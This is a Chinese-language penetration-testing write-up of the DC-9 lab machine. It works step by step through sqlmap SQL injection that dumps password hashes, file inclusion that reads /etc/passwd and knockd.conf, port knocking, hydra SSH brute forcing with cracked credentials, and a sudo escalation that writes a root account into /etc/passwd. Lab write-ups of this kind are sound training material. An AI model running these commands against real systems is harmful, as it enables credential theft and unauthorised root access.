DC-9靶机渗透笔记
一、靶机涉及内容
1、SQL注入(利用sqlmap进行POST注入)
2、本地文件包含(LFI)
3、knockd隐藏SSH
4、sudo提权(理解/etc/passwd和/etc/shadow文件)
(由于校园网的原因,桥接模式上不了网,所以攻击机Kali和靶机都使用的是host-only网络模式)
二、渗透思路(过程)
1、发现主机(靶机)
常规的方法:
(1)利用arp-scan -l扫描
(2)利用nmap的-sP扫描:nmap -sP 192.168.56.0/24
发现目标靶机ip地址:192.168.56.105
2、目标主机端口扫描
利用nmap进行端口扫描:
nmap -A -p 1-65535 -sV 192.168.56.105
获取端口开放情况:
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
3、访问http服务,挖掘漏洞
浏览器访问:192.168.56.105
在search.php处发现SQL注入点(注入点的检测:输入1回显正常,加上单引号,无结果返回,判断可能存在注入点)
使用Burpsuit抓包,将HTTP报文保存到指定文件post.txt,利用sqlmap工具尝试注入:
sqlmap -r post.txt (检测注入)
sqlmap -r post.txt --dbs (爆库)
available databases [3]:
[*] information_schema
[*] Staff
[*] users
sqlmap -r post.txt -D Staff --tables (爆表)
Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users |
+--------------+
sqlmap -r post.txt -D Staff -T Users --dump (获取值)
(利用sqlmap的默认md5暴力破解密码)
Database: Staff
Table: Users
[1 entry]
+--------+----------+--------------------------------------------------+
| UserID | Username | Password |
+--------+----------+--------------------------------------------------+
| 1 | admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) |
+--------+----------+--------------------------------------------------+
sqlmap -r post.txt -D users -T UserDetails --dump
(获取另一个库中的用户信息,账户保存到User.txt,密码保存到Pass.txt)
Web页面admin登录,在页面底部发现"File does not exist",可能存在文件包含的点。传参file=…/…/…/…/etc/passwd获取文件信息,验证猜想。
4、利用knockd打开ssh
由于存在任意文件包含漏洞,发现/etc/knockd.conf文件:
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
可以发现,如果试探连接 7469,8475,9842 这三个端口,将会开放iptables防火墙对于22端口的流量,敲击9842,8475,7469 三个端口,会过滤连接22端口的流量。
接下来进行端口的敲击打开:
nc 192.168.56.105 7469
nc 192.168.56.105 8475
nc 192.168.56.105 9842
利用上面保存的User.txt和Pass.txt,使用hydra对目标ssh服务进行爆破:(通过对/etc/passwd文件分析,发现存在几个账户和数据库中的几个账户名相同,进而猜测可能存在某种关联,进行爆破处理)
hydra -L User.txt -P Pass.txt ssh://192.168.56.105
获取到部分SSH账户和密码:
[DATA] attacking ssh://192.168.56.105:22/
[22][ssh] host: 192.168.56.105 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.56.105 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.56.105 login: janitor password: Ilovepeepee
5、连接目标主机,提权
随便拿个账户,ssh连接上去:(chandlerb账号里面好像没啥信息)
ssh janitor@192.168.56.105
在家目录发现隐藏文件夹:.secrets-for-putin
发现一系列密码:
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
取出这些密码,重新进行爆破,获得一个新的账号密码:
[22][ssh] host: 192.168.56.105 login: fredf password: B4-Tru3-001
登录上去,sudo -l,发现有一个文件:
/opt/devstuff/dist/test/test
判断应该是一个python编译后的文件,接着在/opt/devstuff/发现python源文件:test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
该py文件就是将一文件内容追加到指定文件的后面。(由于存在sudo权限,可以向/etc/passwd文件写入拥有root权限的账户)
构造加密密码:
openssl passwd -1 -salt admin 123456
构造新的用户:
admin: 1 1 1admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash
将此串内容保存到一个文件中(一般选取家目录的文件或者/tmp临时文件)
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/admin
接下来运行test文件,写入/etc/passwd:
sudo ./test /tmp/admin /etc/passwd
登录设置的用户:su admin获取到root权限
三、总结
渗透测试思路比较重要,需要的知识储备也非常多。
留意每一小点,也许会有不一样的发现;多做一点尝试,也许会有意外收获。